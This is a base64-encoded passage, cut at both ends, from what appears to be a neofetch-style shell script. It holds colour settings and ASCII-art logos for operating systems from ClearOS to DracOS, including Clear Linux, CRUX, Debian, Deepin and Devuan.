WiOKWiOKWjCDilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paMIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojilowg4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWjArilojilojilojilojilojilojilojilowK4paI4paI4paI4paI4paI4paI4paI4paMCuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWjArilojilojilojilojilojilojilojilowK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilogK4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paA4paACkVPRgogICAgICAgIDs7CgogICAgICAgICJDbGVhck9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgYC4tLTo6Ojo6Oi0tLmAKICAgICAgICAgLi06Ly8vLy8vLy8vLy8vLy8vLzotLgogICAgICBgLS8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy1gCiAgICAgLS8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8tCiAgIGAvLy8vLy8vLy8vLy8vLy0uLi0vLy8vLy8vLy8vLy8vL2AKICAuLy8vLy8vLy8vLy8vLzogICAgICA6Ly8vLy8vLy8vLy8vLy4KIGAvLy8vLy86Li4tLy8vLzogICAgICA6Ly8vLy0uLi0vLy8vLy9gCiA6Ly8vLy8vYCAgICAtLy8vOi5gYC46Ly8vLWAgICAgOi8vLy8vOgpgLy8vLy8vLzouICAgICAtLy8vLy8vLy8tYCAgICBgOi8vLy8vLy9gCi4vLzotLS8vLy86LiAgICAgLS8vLy8tYCAgICBgOi8vLy8tLTovLy4KLi86ICAgIC4vLy8vOi4gICAgIC0tYCAgICBgOi8vLy8tICAgIDovLgpgLy8tYCAgICAuLy8vLzouICAgICAgICBgOi8vLy8tICAgIGAtLy9gCiA6Ly8vLWAgICAgLi8vLy86LiAgICBgOi8vLy8tICAgIGAtLy8vOgogYC8vLy8vLWAgICAgLS8vLzogICAgOi8vLy0gICAgYC0vLy8vL2AKICBgLy8vLy8vLSAgIGAvLy86ICAgIDovLy9gICAgLi8vLy8vL2AKICAgYDovLy8vOiAgIGAvLy86ICAgIDovLy9gICAgLS8vLy86YAogICAgIC46Ly86ICAgYC8vLzogICAgOi8vL2AgICAtLy86LgogICAgICAgLjo6ICAgYC8vLzogICAgOi8vL2AgICAtOi4KICAgICAgICAgICAgIGAvLy86ICAgIDovLy9gCiAgICAgICAgICAgICAgYC4uLiAgICAuLi5gCkVPRgogICAgICAgIDs7CgogICAgICAgICJDbGVhciBMaW51eCBPUyIqIHwgIkNsZWFyX0xpbnV4IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCAzIDcgNgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgQkJCCiAgICAgICBCQkJCQkJCQkIKICAgICBCQkJCQkJCQkJCQkJCQkIKICAgQkJCQkJCQkJCQkJCQkJCQkJCQkIKICAgQkJCQkJCQkJCQkIgICAgICAgICBCQkIKICBCQkJCQkJCQiR7YzJ9WVlZWVkKJHtjMX0gIEJCQkJCQkJCJHtjMn1ZWVlZWVkKJHtjMX0gIEJCQkJCQkJCJHtjMn1ZWVlZWVlZCiR7YzF9ICBCQkJCQkJCQkIke2MyfVlZWVlZJHtjM31XCiR7YzR9IEdHJHtjMX1CQkJCQkJCWSR7YzJ9WVlZWSR7YzN9V1dXCiR7YzR9IEdHRyR7YzF9QkJCQkJCQiR7YzJ9WVkke2MzfVdXV1dXV1dXCiR7YzR9IEdHR0dHRyR7YzF9QkJCQkJCJHtjM31XV1dXV1dXVwoke2M0fSBHR0dHR0dHRyR7YzF9QkJCQiR7YzN9V1dXV1dXV1cKJHtjNH1HR0dHR0dHR0dHRyR7YzF9QkJCJHtjM31XV1dXV1dXCiR7YzR9R0dHR0dHR0dHR0dHRyR7YzF9QiR7YzN9V1dXV1dXCiR7YzR9R0dHR0dHR0cke2MzfVdXV1dXV1dXV1dXCiR7YzR9R0cke2MzfVdXV1dXV1dXV1dXV1dXV1cKIFdXV1dXV1dXV1dXV1dXV1cKICAgICAgV1dXV1dXV1dXVwogICAgICAgICAgV1dXCkVPRgogICAgICAgIDs7CgogICAgICAgICJDbG92ZXIiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgYG9tb2Bgb21vYAogICAgICAgICAgICAgYG9OTU1NTk5NTU1Ob2AKICAgICAgICAgICBgb05NTU1NTU1NTU1NTU1Ob2AKICAgICAgICAgIG9OTU1NTU1NTU1NTU1NTU1NTU5vCiAgICAgICAgICBgc05NTU1NTU1NTU1NTU1NTU5zYAogICAgIGBvbW9gICBgc05NTU1NTU1NTU1NTnNgICBgb21vYAogICBgb05NTU1Ob2AgIGBzTk1NTU1NTU5zYCAgYG9OTU1NTm9gCiBgb05NTU1NTU1NTm9gICBgb05NTU5zYCAgYG9OTU1NTU1NTU5vYApvTk1NTU1NTU1NTU1NTm9gICBgc3lgICBgb05NTU1NTU1NTU1NTU5vCmBzTk1NTU1NTU1NTU1NTU5vLiR7YzJ9b05OcyR7YzF9Lm9OTU1NTU1NTU1NTU1NTnNgCmBvTk1NTU1NTU1NTU1NTU5zLiR7YzJ9b05OcyR7YzF9Lm9OTU1NTU1NTU1NTU1NTm9gCm9OTU1NTU1NTU1NTU1Oc2AgIGBzeWAgIGBvTk1NTU1NTU1NTU1NTm8KIGBvTk1NTU1NTU1Oc2AgIGBvTk1NTm9gICBgb05NTU1NTU1NTnNgCiAgIGBvTk1NTU5zYCAgYHNOTU1NTU1NTnNgICBgb05NTU1Oc2AKICAgICBgb05zYCAgYHNOTU1NTU1NTU1NTU5zYCAgYG9Oc2AKICAgICAgICAgIGBzTk1NTU1NTU1NTU1NTU1NTnNgCiAgICAgICAgICArTk1NTU1NTU1NTU1NTU1NTU1ObwogICAgICAgICAgIGBvTk1NTU1NTU1NTU1NTU5vYAogICAgICAgICAgICAgYG9OTU1NTk5NTU1Oc2AKICAgICAgICAgICAgICAgYG9tb2Bgb05zYApFT0YKICAgICAgICA7OwoKICAgICAgICAiQ29uZHJlcyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgMyA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfXN5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eSske2MzfS4rLgoke2MxfWBveXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5KyR7YzN9OisrLgoke2MyfS9vJHtjMX0rb3l5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eS8ke2MzfW9vKysuCiR7YzJ9L3krJHtjMX1zeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkke2MzfStvb28rKy4KJHtjMn0vaHkrJHtjMX1veXl5aGhoaGhoaGhoaGhoaGh5eXl5eXl5eXkke2MzfStvbysrKysrLgoke2MyfS9oaGgrJHtjMX1zaGhoaGhkZGRkZGhoaGhoaGh5eXl5eXl5JHtjM30rb28rKysrKysuCiR7YzJ9L2hoZGQrJHtjMX1vZGRkZGRkZGRkZGRkaGhoaGh5eXl5cyR7YzN9K29vKysrKysrKy4KJHtjMn0vaGhkZGQrJHtjMX1vZG1tbWRkZGRkZGRoaGhoeXl5eSR7YzN9K29vbysrKysrKysrLgoke2MyfS9oaGRkZG1vJHtjMX1vZG1tbWRkZGRkaGhoaGh5eXkke2MzfStvb29vKysrKysrKysuCiR7YzJ9L2hkZGRtbW1zJHtjMX0vZG1kZGRkZGhoaGh5eXlzJHtjM30rb29vbysrKysrKysrKy4KJHtjMn0vaGRkZGRtbW15JHtjMX0vaGRkZGhoaGh5eXl5byR7YzN9K29vb28rKysrKysrKysrOgoke2MyfS9oaGRkZG1tbW15JHtjMX06eWhoaGh5eXl5eSske2MzfStvb29vKysrKysrKysrKys6CiR7YzJ9L2hoZGRkZGRkZGR5JHtjMX0tc3l5eXl5eXMrJHtjM31vb29vbysrKysrKysrKysrKzoKJHtjMn0vaGhoZGRkZGRkZGR5JHtjMX0tK3l5eXkrJHtjM30vb29vb28rKysrKysrKysrKysrOgoke2MyfS9oaGhoaGRkZGRkaGh5JHtjMX0uL3lvOiR7YzN9K29vb29vbysrKysrKysrKysrKysvCiR7YzJ9L2hoaGhoaGhoaGhoaGh5JHtjMX06LS4ke2MzfStzb29vb28rKysrKysrKysrKy8vLzoKJHtjMn06c3Nzc3Nzc3Nzc3NzbysrJHtjMX0ke2MzfWA6LzotLS0tLS0tLS5gYGBgYGBgYApFT0YKICAgICAgICA7OwoKICAgICAgICAiQ29udGFpbmVyIExpbnV4IGJ5IENvcmVPUyIqIHwgIkNvbnRhaW5lcl9MaW51eCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAuLi4uLgogICAgICAgICAgLic7OmNjY2NjY2NjOjsnLgogICAgICAgICc6Y2NjY2NsYyR7YzN9bGxsbGxsbGxsJHtjMX1jYzouCiAgICAgLjtjY2NjY2NjYyR7YzN9bGxsbGxsbGxsbGxsbGxsJHtjMX1jLAogICAgO2NsbGxjY2NjYyR7YzN9bGxsbGxsbGxsbGxsbGxsbGxsJHtjMX1jLAogIC5jbGxjbGNjY2NjJHtjM31sbGxsbCR7YzJ9bGxsJHtjM31sbGxsbGxsbGxsbGwke2MxfWM6CiAgY2NjbGNsY2NjYyR7YzN9Y2xsbGwke2MyfWtXTU1OS2ske2MzfWxsbGxsbGxsbGwke2MxfWM6CiA6Y2NjbGNsY2NjYyR7YzN9bGxsbCR7YzJ9b1dNTU1NTU1XTyR7YzN9bGxsbGxsbGxsJHtjMX1jLAouY2NsbGxsbGxjY2Mke2MzfWNsbGwke2MyfU9NTU1NTU1NTU0wJHtjM31sbGxsbGxsbGwke2MxfWMKLmxsbGxsY2xjY2NjJHtjM31sbGxsJHtjMn1LTU1NTU1NTU1NTW8ke2MzfWxsbGxsbGxsJHtjMX1jLgoubGxsbGxsbGNjY2Mke2MzfWNsbGwke2MyfUtNTU1NTU1NTU4wJHtjM31sbGxsbGxsbGwke2MxfWMuCi5jY2xsbGxsY2NjYyR7YzN9bGxsbGQke2MyfXhra3h4ZG8ke2MzfWxsbGxsbGxsbGxjJHtjMX1sYwogOmNjY2xsbGxsbGNjY2Mke2MzfWxsbGNjbGxsbGNjbGNjYyR7YzF9Y2NjY2NjOwogLmNjY2xsbGxsbGxjY2NjY2NjYyR7YzN9bGxsJHtjMX1jY2NjY2xjY2NjY2NjCiAgLmNsbGxsbGxsbGxsY2xjY2NjbGNjY2xjY2xsbGxjbGxjCiAgICA6Y2xsbGxsbGxsY2NjbGNsbGxsbGxsbGxsbGxjYzsKICAgICAuY2NjY2NjY2NjY2NjY2NsY2NjY2NjY2NjYzouCiAgICAgICAuO2NjY2NsY2NjY2NjbGxsbGxsY2NjLC4KICAgICAgICAgIC4nO2NjY2NjbGxsY2NjOjsuLgogICAgICAgICAgICAgICAgLi4uLi4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgImNydXhfc21hbGwifEtJU1MqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNSA3IDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgIF9fXwogICAoJHtjM30uwrcgJHtjMX18CiAgICgke2MyfTw+ICR7YzF9fAogIC8gJHtjM31fXyAgJHtjMX1cXAogKCAke2MzfS8gIFxcICR7YzF9L3wKJHtjMn1fJHtjMX0vXFwgJHtjM31fXykke2MxfS8ke2MyfV8ke2MxfSkKJHtjMn1cLyR7YzF9LV9fX18ke2MyfVwvCkVPRgogICAgICAgIDs7CgogICAgICAgICJDUlVYIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA1IDcgNgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICBvZGRkZAogICAgICBvZGR4a2treHhkb28KICAgICBkZGNvZGR4eHhkb29vbAogICAgIHhkY2xvZG9kICBvbG9sCiAgICAgeG9jICB4ZGQgIG9sb2wKICAgICB4ZGMgICR7YzJ9azAwJHtjMX1Pa2Rsb2wKICAgICB4eGQke2MyfWtPS0tLT2tkJHtjMX1sZGQKICAgICB4ZGNvJHtjMn14T2tkbG8ke2MxfWRsZGQKICAgICBkZGM6Y2wke2MyfWxsbCR7YzF9b29vb2RvCiAgIG9keHhkZCR7YzN9eGtPMDAwa3gke2MxfW9veGRvCiAgb3hkZCR7YzN9eDBOTU1NTU1NV1cwb2Qke2MxfWtreG8KIG9vb3hkJHtjM30wV01NTU1NTU1NTVcwbyR7YzF9ZHhreApkb2NsZGtYVyR7YzN9TU1NTU1NTVdXTiR7YzF9T2RvbGNvCnh4JHtjMn1keCR7YzF9a3h4T0tOJHtjM31XTU1XTiR7YzF9MHhkb3hvOjpjCiR7YzJ9eE9ra08ke2MxfTBvbyR7YzN9b2RPVyR7YzJ9V1cke2MxfVhrZG9kT3hjOmwKJHtjMn1ka2treGtrayR7YzN9T0tYJHtjMn1OTk5YME94eCR7YzF9eGM6Y2QKJHtjMn0gb2R4eGR4JHtjM314bGxvZCR7YzJ9ZGRvb3h4JHtjMX1kYzpsZG8KJHtjMn0gICBsb2RkJHtjMX1kb2xjY2Mke2MyfWNjb3gke2MxfXhvbG9vCkVPRgogICAgICAgIDs7CgogICAgICAgICoiQ3J5c3RhbCBMaW51eCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEzIDUKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAgICAgbXlzc3N5bQoke2MxfSAgICAgICAgICAgICAgICAgICAgICBteXNzc3ltCiR7YzF9ICAgICAgICAgICAgICAgICAgICBteXNzc3ltCiR7YzF9ICAgICAgICAgICAgICAgICAgbXlzc3N5bQoke2MxfSAgICAgICAgICAgICAgICBteXNzc3lkCiR7YzF9ICAgICAgICAgICAgICBteXNzc3lkICAgIE4KJHtjMX0gICAgICAgICAgICBteXNzc3lkICAgIG15c3ltCiR7YzF9ICAgICAgICAgIG15c3NzeWQgICAgICBkeXNzc3ltCiR7YzF9ICAgICAgICBteXNzc3lkICAgICAgICAgIGR5c3NzeW0KJHtjMX0gICAgICBteXNzc3lkICAgICAgICAgICAgICBkeXNzc3ltCiR7YzF9ICAgICAgbXlzc3N5ZCAgICAgICAgICAgICAgZHlzc3N5bQoke2MxfSAgICAgICAgbXlzc3N5ZCAgICAgICAgICBkeXNzc3ltCiR7YzF9ICAgICAgICAgIG15c3NzeWQgICAgICBkeXNzc3ltCiR7YzF9ICAgICAgICAgICAgbXlzeW0gICAgZHlzc3N5bQoke2MxfSAgICAgICAgICAgICAgTiAgICBkeXNzc3ltCiR7YzF9ICAgICAgICAgICAgICAgICBkeXNzc3ltCiR7YzF9ICAgICAgICAgICAgICAgZHlzc3N5bQoke2MxfSAgICAgICAgICAgICBkeXNzc3ltCiR7YzF9ICAgICAgICAgICBkeXNzc3ltCiR7YzF9ICAgICAgICAgZHlzc3N5bQpFT0YKICAgICAgICA7OwoKICAgICAgICAqIkN1Y3VtYmVyIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgYC4tOi8vKysrKysrLy86LS5gCiAgICAgICAgYDovKy8vJHtjMn06Oi0tLS0tLS0tJHtjMX06Oi8vKy86YAogICAgICAtKysvOiR7YzJ9LS0tLS4uLi4uLi4uLi4tLS0tJHtjMX06LysrLQogICAgLisrOiR7YzJ9LS0tLi4uLi4uLi4uLi4tLi4uLi4uLS0tJHtjMX06KysuCiAgIC8rOiR7YzJ9LS0tLi4uLi06Oi86Ly0tLy86OjotLi4uLi0tLSR7YzF9OisvCiBgKys6JHtjMn0tLS4uLi4uOi0tLTo6Ly0tLzo6LS0tOi4uLi4uLS0ke2MxfTorK2AKIC8rOiR7YzJ9LS0uLi4uLi0tLi0tOjo6Oi0vOjotLS4tLS4uLi4uLS0ke2MxfTorLwotbzoke2MyfS0tLi4uLi4uLi06Ojo6Ly8tLS86Ojo6Oi0uLi4uLi4uLS0ke2MxfTpvLQovKzoke2MyfS0tLi4uLTotOjotLS06OjouLjo6Oi0tLTotLTotLi4uLS0ke2MxfTorLwpvLzoke2MyfS0uLi4tOi46Li0vOjo6Li4uLi4uOjovOi4tLS46LS4uLi0ke2MxfTovbwpvLyR7YzJ9LS0uLi46Oi06Lzo6LzotLi4uLi4uLTo6Ojo6Oi0vLS4uLi0ke2MxfTovbwovKzoke2MyfS0tLi4tLzovOjo6LS06OjouLjo6Oi0tOjovLy8vLS4uLS0ke2MxfTorLwotbzoke2MyfS0tLi4uLS0tLTo6Lzo6Oi8tLS86Ojo6Oi0tLS0tLi4uLS0ke2MxfTpvLQogLys6JHtjMn0tLS4uLi46Ly86OjouOi8tLS86Ljo6Oi8vOi4uLi4tLSR7YzF9OisvCiBgKys6JHtjMn0tLS4uLi06OjouLS0uOi4uOi4tLS46LzotLi4uLS0ke2MxfTorK2AKICAgLys6JHtjMn0tLS0uLi4uLS0tLTotLi4tOi0tLS0uLi4uLS0tJHtjMX06Ky8KICAgIC4rKzoke2MyfS0tLS4uLi4uLi4uLi4uLi4uLi4uLi0tLSR7YzF9OisrLgogICAgICAtLysvOiR7YzJ9LS0tLS4uLi4uLi4uLi4tLS0tJHtjMX06LysvLQogICAgICAgIGA6LysvLyR7YzJ9OjotLS0tLS0tLTo6OiR7YzF9LysvOmAKICAgICAgICAgICBgLi06Ly8rKysrKysvLzotLmAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkN5YmVyT1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1MCAzMiA1NwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjM30gICAgICAgICAgICAgIU0kRUVFRUVFRUVFRUVQCiAgICAgICAgICAgIC5NTU1NTTAwMDAwME5yLgogICAgICAgICAgICAke2MzfSZNTU1NTU0ke2MyfU1NTU1NTU1NTU1NTU05CiAgICAgICAgICAgJHtjM31+TU1NJHtjMX1NTU1NJHtjMn1NTU1NTU1NTU1NTU1DCiAgICAgICR7YzF9IiAgICAke2MzfU0ke2MxfU1NTU1NTU0ke2MyfU1NTU1NTU1NTU1zCiAgICAke2MxfWlNJHtjMn1NTU0mJiR7YzF9TU1NTU1NTU0ke2MyfU1NTU1NTU1NXFwKICAgJHtjMX1CTU1NJHtjMn1NTU1NTSR7YzF9TU1NTU1NTSR7YzJ9TU1NTU1NJHtjM30iCiAgJHtjMX05TU1NTU0ke2MyfU1NTU1NTU0ke2MxfU1NTU0ke2MyfU1NTU0ke2MzfU1NTWYtCiAgICAgICAgJHtjMn1zTU1NTU1NTU0ke2MxfU1NJHtjMn1NJHtjM31NTU1NTU1NTU0zXwogICAgICAgICAke2MyfStmZmZmZmZmZiR7YzF9UCR7YzN9TU1NTU1NTU1NTU1NMAogICAgICAgICAgICAgICAgICAgICR7YzJ9Q01NTU1NTU1NTU1NCiAgICAgICAgICAgICAgICAgICAgICB9TU1NTU1NTU1NCiAgICAgICAgICAgICAgICAgICAgICAgIH5NTU1NTU1NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIlJNTU1NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuUE1CCkVPRgogICAgICAgIDs7CgogICAgICAgICAgICAgICAgImRhaGxpYSIqKQogICAgICAgICAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0KICAgICAgICAgICAgICAgICAgLiMuCiAgICAgICAgICAgICAgICAqJUBAQCUqCiAgICAgICAgLiwsLCwsKCZAQEBAQEBAJi8sLCwsLC4KICAgICAgICwjQEBAQEBAQEBAQEBAQEBAQEBAQEBAIy4KICAgICAgICwjQEBAQEBAQCYjLy8vIyZAQEBAQEBAIy4KICAgICAsLyUmQEBAQEAlLywgICAgLiwoJUBAQEBAJiMvLgogICAqIyZAQEBAQEAjLC4gICAgICAgICAuKiNAQEBAQEAmIywKIC4mQEBAQEBAQEBAKCAgICAgICAgICAgIC4oQEBAQEBAQEBAJiYuCiNAQEBAQEBAQEBAKCAgICAgICAgICAgICAgIClAQEBAQEBAQEBAQCMKIMKwQEBAQEBAQEBAQCggICAgICAgICAgICAuKEBAQEBAQEBAQEBAwrAKICAgKiVAQEBAQEBAKC4gICAgICAgICAgICwjQEBAQEBAQCUqCiAgICAgLCgmQEBAQEBAJSouICAgICAuLyVAQEBAQEAlKCwKICAgICAgICwjQEBAQEBAQCYoKioqKCZAQEBAQEBAIy4KICAgICAgICwjQEBAQEBAQEBAQEBAQEBAQEBAQEBAIy4KICAgICAgICAsKioqKiojJkBAQEBAQEAmKCoqKioqLAogICAgICAgICAgICAgICAsLyVAQEAlLy4KICAgICAgICAgICAgICAgICAgLCMsCkVPRgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgImRlYmlhbl9zbWFsbCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICBfX19fXwogLyAgX18gXFwKfCAgLyAgICB8CnwgIFxcX19fLQotXwogIC0tXwpFT0YKICAgICAgICA7OwoKICAgICAgICAiRGViaWFuIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgICAgIF8sbWV0JCQkJCRnZy4KICAgICxnJCQkJCQkJCQkJCQkJCQkUC4KICAsZyQkUCIgICAgICAgICIiIlkkJC4iLgogLCQkUCcgICAgICAgICAgICAgIGAkJCQuCicsJCRQICAgICAgICxnZ3MuICAgICBgJCRiOgpgZCQkJyAgICAgLCRQIicgICAke2MxfS4ke2MyfSAgICAkJCQKICQkUCAgICAgIGQkJyAgICAgJHtjMX0sJHtjMn0gICAgJCRQCiAkJDogICAgICAkJC4gICAke2MxfS0ke2MyfSAgICAsZCQkJwogJCQ7ICAgICAgWSRiLl8gICBfLGQkUCcKIFkkJC4gICAgJHtjMX1gLiR7YzJ9YCJZJCQkJFAiJwoke2MyfSBgJCRiICAgICAgJHtjMX0iLS5fXwoke2MyfSAgYFkkJAogICBgWSQkLgogICAgIGAkJGIuCiAgICAgICBgWSQkYi4KICAgICAgICAgIGAiWSRiLl8KICAgICAgICAgICAgICBgIiIiCkVPRgogICAgICAgIDs7CgogICAgICAgICJEZWVwaW4iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgIC4uLi4uLi4uLi4uLgogICAgICAgICAuJzs7Ozs7LiAgICAgICAuLDssLgogICAgICAuLDs7Ozs7OzsuICAgICAgICc7Ozs7Ozs7LgogICAgLjs6Ojo6Ojo6OicgICAgIC4sOjo7OywnJycnJywuCiAgICwnLjo6Ojo6Ojo6ICAgIC47OycuICAgICAgICAgICc7CiAgOycgICdjY2NjY2MsICAgLCcgOjogJy4uICAgICAgICAuOgogLCwgICAgOmNjY2NjLiAgOzogLmMsICcnIDouICAgICAgICw7Ci5sLiAgICAgY2xsbGwnIC4sIC5sYyAgOjsgLmwnICAgICAgIGwuCi5jICAgICAgIDpsbGxjICA7Y2w6ICAubCcgLmxsLiAgICAgIDonCi5sICAgICAgICAnbG9vYy4gLiAgICxvOiAgJ29vJyAgICAgIGMsCi5vLiAgICAgICAgIC46b29sOjpjb2MnICAub29vJyAgICAgIG8uCiA6OiAgICAgICAgICAgIC4uLi4uICAgLjtkZGRvICAgICAgO2MKICBsOi4uLiAgICAgICAgICAgIC4nO2xkZGRkby4gICAgICxvCiAgIGx4eHh4eGRvb2xsbG9keHh4eHh4eHh4YyAgICAgIDpsCiAgICAsZHh4eHh4eHh4eHh4eHh4eHh4eGwuICAgICAnbywKICAgICAgLGRra2tra2tra2tra2trbzsuICAgIC47bzsKICAgICAgICAuO29ra2tra2RsOy4gICAgLixjbDouCiAgICAgICAgICAgIC4sOmNjY2NjY2NjOiwuCkVPRgogICAgICAgIDs7CgogICAgICAgICJEZXNhT1MiKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX3ilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paIICAgICAgICAgICAgICAg4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAgICAgICAgICAgICAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojiloggICAgICAgICAgICAgICDilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paIICAgICAgICAgICAgICAg4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAgICAgICAgICAgICAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojiloggICAgICAgICAgICAgICDilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paIICAgICAgICAgICAgICAg4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilogKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkRldnVhbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDUgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAuLiwsOzs7Ojo7LC4uCiAgICAgICAgICAgYCc6ZGRkOzosLgogICAgICAgICAgICAgICAgIGAnZFBQZDosLgogICAgICAgICAgICAgICAgICAgICBgOmIkJGJgLgogICAgICAgICAgICAgICAgICAgICAgICAnUCQkJGRgCiAgICAgICAgICAgICAgICAgICAgICAgICAuJCQkJCRgCiAgICAgICAgICAgICAgICAgICAgICAgICA7JCQkJCRQCiAgICAgICAgICAgICAgICAgICAgICAuOlAkJCQkJCRgCiAgICAgICAgICAgICAgICAgIC4sOmIkJCQkJCQkOycKICAgICAgICAgICAgIC4sOmRQJCQkJCQkJCRiOicKICAgICAgLiw6O2RiJCQkJCQkJCQkJFBkJ2AKICxkYiQkJCQkJCQkJCQkJCQkYjonYAo6JCQkJCQkJCQkJCQkYjonYAogYCQkJCQkYmQ6JydgCiAgIGAnJydgCkVPRgogICAgICAgIDs7CgogICAgICAgICJEcmFjT1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDcgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgYC06Ly0KICAgICAgICAgIC1vczoKICAgICAgICAgICAgLW9zL2AKICAgICAgICAgICAgICA6c3krLWAKICAgICAgICAgICAgICAgYC95eXl5Ky4KICAgICAgICAgICAgICAgICBgK3l5eXlvLQogICAgICAgICAgICAgIC